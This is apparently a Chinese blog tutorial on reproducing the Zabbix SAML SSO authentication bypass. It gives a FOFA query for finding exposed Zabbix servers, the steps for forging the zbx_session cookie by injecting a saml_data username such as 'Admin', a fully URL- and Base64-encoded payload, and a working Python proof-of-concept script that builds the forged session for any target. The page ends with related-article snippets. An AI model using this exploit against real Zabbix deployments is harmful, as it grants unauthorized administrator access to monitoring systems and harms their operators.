Zabbix SAML SSO 登录绕过漏洞的操作流程

目录
  • 一、简介
  • 二、FOFA语法
  • 三、复现流程

一、简介

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上。

该漏洞源于在启用 saml SSO 身份验证(非默认)的情况下,未身份验证的攻击者可以修改会话数据,成功绕过前台进入后台,因为存储在会话中的用户登录未经过验证。

漏洞的限制条件:需要启用 SAML 身份验证,并且攻击者必须知道 Zabbix 用户的用户名。

二、FOFA语法

app=“ZABBIX-监控系统” && body=“SAML”

三、复现流程

1、通过fofa语法搜索zabbix资产访问首页获取set-cookie中zbx_session参数的值

2、通过Url解码和Base64解码获得zbx_session参数Json格式数据

{"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="}

3、通过在Json中添加saml_data和username_attribute参数后重新Base64编码和Url编码构造Payload

{"saml_data":{"username_attribute":"Admin"},"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="}

4、把构造好的payload进行base64编码和url编码

%65%79%4a%7a%59%57%31%73%58%32%52%68%64%47%45%69%4f%6e%73%69%64%58%4e%6c%63%6d%35%68%62%57%56%66%59%58%52%30%63%6d%6c%69%64%58%52%6c%49%6a%6f%69%51%57%52%74%61%57%34%69%66%53%77%69%63%32%56%7a%63%32%6c%76%62%6d%6c%6b%49%6a%6f%69%4e%6a%64%6d%4e%7a%45%7a%4e%54%56%6c%59%6a%6b%32%4d%54%49%78%5a%6a%4d%34%4e%47%56%68%4d%44%55%33%4d%54%49%35%4d%47%5a%68%59%32%45%69%4c%43%4a%7a%61%57%64%75%49%6a%6f%69%56%58%6c%78%4d%6b%4a%59%55%57%5a%6c%4e%55%6c%31%5a%7a%52%56%51%6e%42%31%59%33%64%78%4d%31%42%59%51%57%31%57%61%44%42%6a%64%48%42%53%4e%48%42%32%52%57%5a%36%5a%31%77%76%54%31%64%6c%4e%31%52%4c%61%47%31%42%55%57%52%78%65%58%55%31%61%56%56%74%64%46%64%36%55%56%49%72%4d%47%30%7a%4d%32%56%52%51%6b%68%75%61%7a%46%57%56%69%74%4a%54%7a%42%70%59%30%46%52%50%54%30%69%66%51%3d%3d

5、请求index_sso.php,在http请求头中构造payload,将zbx_session的值替换为url编码后的payload

6、成功登录后台

可利用poc直接获取构造后的payload

poc:

import requests
import re
import urllib.parse
import base64
import json
import sys

def exp(target, username):
	resp = requests.get(url=target, verify=False)
	cookie = resp.headers.get("Set-Cookie")
	zbx_session = re.findall(r"zbx_session=(.*?); ", cookie)
	url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8')
	base64_decode_data = base64.b64decode(url_decode_data)
	decode_to_str = str(base64_decode_data, encoding='utf-8')
	to_json = json.loads(decode_to_str)
	tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"])
	payloadJson = json.dumps(tmp_ojb)
	print("decode_payload:", payloadJson)
	payload = urllib.parse.quote(base64.b64encode(payloadJson.encode()))
	print("zbx_signed_session:", payload)
if __name__ == "__main__":
	if len(sys.argv) != 3:
		print("argv error")
		exit(0)
	target = sys.argv[1]
	username = sys.argv[2]
	exp(target, username)

到此这篇关于Zabbix SAML SSO 登录绕过漏洞的文章就介绍到这了,更多相关Zabbix 登录绕过漏洞内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • 关于Zabbix忘记admin登录密码重置密码的问题

    Zabbix忘记admin登录密码重置密码的问题,具体内容如下所示: 1. 问题描述: 2. 解决问题 2.1 zabbix连接的是mysql数据库 [root@zabbix ~]# mysql Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 52 Server version: 5.5.65-MariaDB MariaDB Server Copyright (c)

  • Zabbix SAML SSO 登录绕过漏洞的操作流程

    目录 一.简介 二.FOFA语法 三.复现流程 一.简介 zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案.zabbix能监视各种网络参数,保证服务器系统的安全运营:并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题. zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Op

  • gtoken替换jwt实现sso登录的问题小结

    目录 jwt的问题 jwt的请求流程图 gtoken的优势 注意问题 演示demo 今天和大家分享一下使用gtoken替换jwt实现sso登录的经验,为了让大家更好的理解会带大家读一下重点的源码. jwt的问题 首先说明一个jwt存在的问题,也就是要替换jwt的原因: jwt无法在服务端主动退出的问题 jwt无法作废已颁布的令牌,只能等到令牌过期问题 jwt携带大量用户扩展信息导致降低传输效率问题 jwt的请求流程图 gtoken的优势 gtoken的请求流程和jwt的基本一致. gtoken的

  • 源码解析gtoken替换jwt实现sso登录

    目录 jwt的问题 jwt的请求流程图 gtoken的优势 注意问题 演示demo 分析源码 刷新token GfToken结构体 思考题 总结 jwt的问题 首先说明一个jwt存在的问题,也就是要替换jwt的原因: jwt无法在服务端主动退出的问题 jwt无法作废已颁布的令牌,只能等到令牌过期问题 jwt携带大量用户扩展信息导致降低传输效率问题 jwt的请求流程图 gtoken的优势 gtoken的请求流程和jwt的基本一致. gtoken的优势就是能帮助我们解决jwt的问题,另外还提供好用的

  • gtoken替换jwt实现sso登录的排雷避坑

    目录 前言 gtoken gtoken替换jwt解决的问题 兼容JWT gtoken实现原理 踩坑之旅 1 gtoken版本 2 gtoken存储问题 3 不能跨环境使用token 4 测试账号不规范问题 总结 前言 前段时间整理的文章:gtoken替换jwt实现sso登录 | 带你读源码 收到了大家积极的反馈,gtoken替换jwt实现sso登录的开发过程是比较稳健的,但是在我们测试联调的过程中暴露出了很多问题. 如果大家也想使用gtoken替换jwt实现sso登录,那么这篇文章可以减少很多大

  • 由php中字符offset特征造成的绕过漏洞详解

    php中的字符offset特性 php中的字符串存在一个非常有趣的特性,php中的字符串也可以像数组一样进行取值. $test = "hello world"; echo $test[0]; 最后的结果就是h. 但是上述的这种特性有时会有意想不到的效果,看下面这段代码 $mystr = "hello world"; echo $mystr["pass"]; 上述的代码的输出结果是h.这是为什么呢?其实很简单,和很多其他的语言一样,字符串在php中

  • PHP中SSO Cookie登录分析和实现

    什么是SSO? 单点登录SSO(Single Sign-On)是身份管理中的一部分.SSO的一种较为通俗的定义是:SSO是指访问同一服务器不同应用中的受保护资源的同一用户,只需要登录一次,即通过一个应用中的安全验证后,再访问其他应用中的受保护资源时,不再需要重新登录验证 SSO的用途: 目前的企业应用环境中,往往有很多的应用系统,淘宝.天猫.爱淘宝等等产品和如办公自动化(OA)系统,财务管理系统,档案管理系统,信息查询系统等等.这些应用系统服务于企业的信息化建设,为企业带来了很好的效益.但是,用

  • php的sso单点登录实现方法

    本文实例讲述了php的sso单点登录实现方法.分享给大家供大家参考.具体分析如下: 这里详细讲到了几点: 1.点击登录跳转到SSO登录页面并带上当前应用的callback地址 2.登录成功后生成COOKIE并将COOKIE传给callback地址 3.callback地址接收SSO的COOKIE并设置在当前域下再跳回到应用1即完成登录 4.再在应用程序需要登录的地方嵌入一个iframe用来实时检测登录状态,代码如下: index.php 应用程序页面: 复制代码 代码如下: <?php  hea

  • php实现的SSO单点登录系统接入功能示例分析

    本文实例讲述了php实现的SSO单点登录系统接入功能.分享给大家供大家参考,具体如下: SSO英文全称Single Sign On,单点登录.SSO是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统.它包括可以将这次主要的登录映射到其他应用中用于同一个用户的登录的机制.它是目前比较流行的企业业务整合的解决方案之一,下面我们来看看吧. 简单讲一下 SSO 单点登录系统的接入的原理,前提是系统本身有完善的用户认证功能,即基本的用户登录功能,那做起来就很方便了. SSO 登录请求接

  • SSO单点登录系统实现原理及流程图解

    一.准备 1.了解http请求及特点 2.了解cookie和session 3.了解用户登录和注销流程 二.单机用户登录流程 总体流程图实现: 1.http无状态协议 web应用采用browser/server架构,http作为通信协议.http是无状态协议,浏览器的每一次请求,服务器会独立处理,不与之前或之后的请求产生关联,这个过程用下图说明,三次请求/响应对之间没有任何联系 但这也同时意味着,任何用户都能通过浏览器访问服务器资源,如果想保护服务器的某些资源,必须限制浏览器请求:要限制浏览器请

随机推荐